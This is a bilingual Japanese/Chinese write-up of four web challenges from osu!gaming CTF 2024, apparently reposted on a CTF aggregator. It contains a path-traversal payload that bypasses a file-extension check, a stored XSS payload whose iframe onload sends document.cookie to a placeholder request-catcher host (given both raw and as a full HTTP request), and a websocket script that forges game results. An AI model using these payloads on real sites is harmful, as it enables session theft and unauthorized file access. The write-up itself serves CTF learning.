osu!gaming CTF 2024 writeup

WriteUp 2个月前 admin
82 0 0
竞技编程代码示例补充资料 竞技编程练习题合集 Twitter 竞技安全总结

web/mikufanpage 网页/mikufanpage

初音ミクのファンページが与えられる。 您将获得一个初音未来粉丝页面。
flagは/app/img/flag.txtにある。  标志位于 /app/img/flag.txt 中。
以下のようにLFIができそうな部分があるので、ここを悪用する。
有一个部分可以创建 LFI,如下所示,因此请利用该部分。

app.get("/image", (req, res) => {
    if (req.query.path.split(".")[1] === "png" || req.query.path.split(".")[1] === "jpg") { // only allow images
        res.sendFile(path.resolve('./img/' + req.query.path));
    } else {
        res.status(403).send('Access Denied');
    }
});

/image?path=miku1.jpgのように使われる。 用法类似于 /image?path=miku1.jpg 。
何とかflag.txtにしたいが、.でsplitされてpngかjpgと比較されている。
我想以某种方式使其成为 flag.txt ,但它与 . 分开并与 png 或 jpg 进行比较。

しかし、splitしてindexが1のもので比較をすると、複数.がある場合に対応できない。
但是,如果你拆分并与索引1进行比较,如果有多个 . ,则不起作用。

よって、.でsplitしてindexが1を取り出しても検証は通るが、最終的にflag.txtになる入力を与えれば良く、/image?path=.png./../flag.txtでフラグが得られる。
因此,即使你用 . 拆分,取出索引1,验证也会通过,但你只需要给出最终会变成flag.txt的输入,就可以用. 会完成的。

.png./../flag.txt.png.部分がフォルダ名として扱われ、../でそれを打ち消しているのでflag.txtとして解釈される。
.png./../flag.txt 被解释为 flag.txt ,因为 .png. 部分被视为文件夹名称并被 ../ 取消。

web/when-you-dont-see-it
网络/当你看不到它时

welcome to web! there’s a flag somewhere on my osu! profile…
欢迎来到网络!我的 osu 上某处有一面旗帜!轮廓…

https://osu.ppy.sh/users/11118671

題材のosu!のプラットフォームのURLが与えられる。
给出了相关 osu! 平台的 URL。

ソースコードを巡回するとdata-initial-dataに生データみたいなものが含まれていて以下のような記載を見つけた。
当我查看源代码时,我发现 data-initial-data 包含类似原始数据的内容,并且我发现了以下描述。

"raw": "nothing to see here \ud83d\udc40\ud83d\udc40 [color=]the flag is b3N1e29rX3Vfc2VlX21lfQ== encoded with base64]"

base64デコードするとフラグ。  Base64 解码时的标志。

web/profile-page 网页/个人资料页面

自分のプロフィールページを作れるサイトが与えられる。
您将获得一个可以创建自己的个人资料页面的网站。

Admin Botも与えられているのでXSSから考える。
既然Admin Bot也给出了,那就从XSS来思考。

入力値をサニタイズしているのが以下の部分で、DOMPurifyでサニタイズ後に変換されている。
输入值在以下部分中进行清理,清理后使用 DOMPurify 进行转换。

const renderBio = (data) => {
    const html = renderBBCode(data);
    const sanitized = purify.sanitize(html);
    // do this after sanitization because otherwise iframe will be removed
    return sanitized.replaceAll(
        /\[youtube\](.+?)\[\/youtube\]/g,
        '<iframe sandbox="allow-scripts" width="640px" height="480px" src="https://www.youtube.com/embed/$1" frameborder="0" allowfullscreen></iframe>'
    );
};

DOMPurify後は触るなと古事記にも書いてあるので、このあたりを深堀するとXSS発動させることができる。
Kojiki 中还写到,在 DOMPurify 后你不应该碰它,所以如果你深入研究这个区域,你可以激活 XSS。

iframeのonloadを追加することでXSSする。
通过添加 iframe onload 来实现 XSS。

[youtube]" onload="fetch(`https://[yours].requestcatcher.com/get?${document.cookie}`)" dummy="[/youtube]

これを埋め込むと[youtube]のiframe変換によって以下のようになる。
如果嵌入此内容, [youtube] 的 iframe 转换将产生以下结果。

<iframe sandbox="allow-scripts" width="640px" height="480px" src="https://www.youtube.com/embed/" onload="fetch(`https://[yours].requestcatcher.com/get?${document.cookie}`)" dummy="" frameborder="0" allowfullscreen></iframe>

これでXSS発動させ、フラグが得られる。 这将触发 XSS 并获取标志。
更新リクエストが独特なので一応更新用リクエストを以下に載せておく。
由于更新请求是唯一的,因此我在下面列出了更新请求。

POST /api/update HTTP/1.1
Host: profile-page.web.osugaming.lol
Content-Length: 189
Content-Type: application/x-www-form-urlencoded
Cookie: csrf=1b979825ce8ef2324cf1c56a9548fd2cbadc7f336dfe70dfe91d691a7e206e3b; connect.sid=s%3A1p3YSt-0ZItsTe-34bLRzqmoiBph99WF.UgL18oVmW2X83tufi0Ao1bXVnoPHbfOaYyEQ6W6349I
csrf: 1b979825ce8ef2324cf1c56a9548fd2cbadc7f336dfe70dfe91d691a7e206e3b
Connection: close

bio=%5byoutube%5d%22%20onload%3d%22fetch(%60https%3a%2f%2f[yours].requestcatcher.com%2fget%3f%24%7bdocument.cookie%7d%60)%22%20dummy%3d%22%5b%2fyoutube%5d

web/stream-vs 网络/流媒体对比

how good are you at streaming? i made a site to find out! you can even play with friends, and challenge the goat himself
你的直播能力如何?我做了一个网站来找出答案!你甚至可以和朋友一起玩,挑战山羊本人

ソースコード無し。  没有源代码。
対戦モードがあり、cookieziと対戦できるが3セットゲームをすると以下のようにぼろ負けする。
有一个战斗模式,你可以和Cookiezi对战,但如果你玩3盘游戏,你就会输,如下所示。

Game ID: qlbc3
  admin
  cookiezi
Song #1 / 3: xi remixed by cosMo@bousouP - FREEDOM DiVE [METAL DIMENSIONS] (211.11 BPM)
  cookiezi - 211.11 BPM | 20.00 UR 🏆
  admin - 0.00 BPM | 0.00 UR
Song #2 / 3: ke-ji. feat Nanahira - Ange du Blanc Pur (182 BPM)
  cookiezi - 182.00 BPM | 20.00 UR 🏆
  admin - 0.00 BPM | 0.00 UR
Song #3 / 3: xi - Blue Zenith (200 BPM)
  cookiezi - 200.00 BPM | 20.00 UR 🏆
  admin - 0.00 BPM | 0.00 UR
Better luck next time!

これで勝てばフラグがもらえそう。 如果你赢了,你可能会得到一面旗帜。
websocketで実装されていて、曲が終わると何かのデータをサーバ側に送っている。
它是使用websocket实现的,当歌曲结束时,它会发送一些数据到服务器端。

stream-vs.jsにメインロジックが実装されているので眺めると、スコアリングの方法がコメントアウトで載っていた。
主要逻辑是在stream-vs.js中实现的,所以我看的时候发现评分方法被注释掉了。

// scoring algorithm
// first judge by whoever has round(bpm) closest to target bpm, if there is a tie, judge by lower UR
/*
session.results[session.round] = session.results[session.round].sort((a, b) => {
    const bpmDeltaA = Math.abs(Math.round(a.bpm) - session.songs[session.round].bpm);
    const bpmDeltaB = Math.abs(Math.round(b.bpm) - session.songs[session.round].bpm);
    if (bpmDeltaA !== bpmDeltaB) return bpmDeltaA - bpmDeltaB;
    return a.ur - b.ur
});
*/

まずはBPMの近さを見ているようだ。 首先,似乎是看BPM的接近程度。
だが、これは上記の結果を見ると、cookieziは完全にBPMは合わせてくるので、こちらも少なくともBPMを完全に合わせる必要がある。
然而,从上面的结果来看,cookiezi 与 BPM 完美匹配,因此我们也需要与 BPM 完美匹配。

websocketで結果を送るときは  使用 websocket 发送结果时

{"type":"results","data":{"clicks":[],"start":1709344913209,"end":1709344922274}}

こんな感じで送っていて良い感じにフルコンボを出してやればよさそう。
发送这样的完整组合会很好,所以像这样发送也很好。

その辺りの計算アルゴリズムもstream-vs.jsに書いてある。
这个的计算算法也是用stream-vs.js写的。

// algorithm from https://ckrisirkc.github.io/osuStreamSpeed.js/newmain.js
const calculate = (start, end, clicks) => {
    const clickArr = [...clicks];
    const bpm = Math.round(((clickArr.length / (end - start) * 60000)/4) * 100) / 100;
    const deltas = [];
    for (let i = 0; i < clickArr.length - 1; i++) {
        deltas.push(clickArr[i + 1] - clickArr[i]);
    }
    const deltaAvg = deltas.reduce((a, b) => a + b, 0) / deltas.length;
    const variance = deltas.map(v => (v - deltaAvg) * (v - deltaAvg)).reduce((a, b) => a + b, 0);
    const stdev = Math.sqrt(variance / deltas.length);

    return { bpm: bpm || 0, ur: stdev * 10 || 0};
};

これを元に自動化スクリプトを人間っぽい感じに作って動かすとフラグがもらえる。
如果您基于此创建一个自动化脚本并以类似于人类的方式运行它,您将收到一个标志。

たまに失敗するけど根気よく回す。  我有时会失败,但我会坚持下去。

from websocket import create_connection
import json
from decimal import *
import time
ws = create_connection("wss://stream-vs.web.osugaming.lol/")

def send_and_recv(payload):
    ws.send(json.dumps(payload))
    return json.loads(ws.recv())    

send_and_recv({"type":"login","data":"evilman"})
send_and_recv({"type":"challenge"})
songs = send_and_recv({"type":"start"})['data']['songs']
for song in songs:
    start = int(time.time())
    end = start + song['duration'] * 1000
    interval = 60000 / song['bpm'] / 4
    clicks = [start]
    while clicks[-1] + interval <= end:
        clicks.append(clicks[-1] + interval)

    p = {"type":"results","data":{"clicks":clicks,"start":start, "end":end}}
    #print(p)
    send_and_recv(p) # results
    print(ws.recv()) # game or message

    time.sleep(song['duration'])

原文始发于hamayanhamayanosu!gaming CTF 2024 writeup

版权声明:admin 发表于 2024年3月5日 下午8:01。
转载请注明:osu!gaming CTF 2024 writeup | CTF导航

相关文章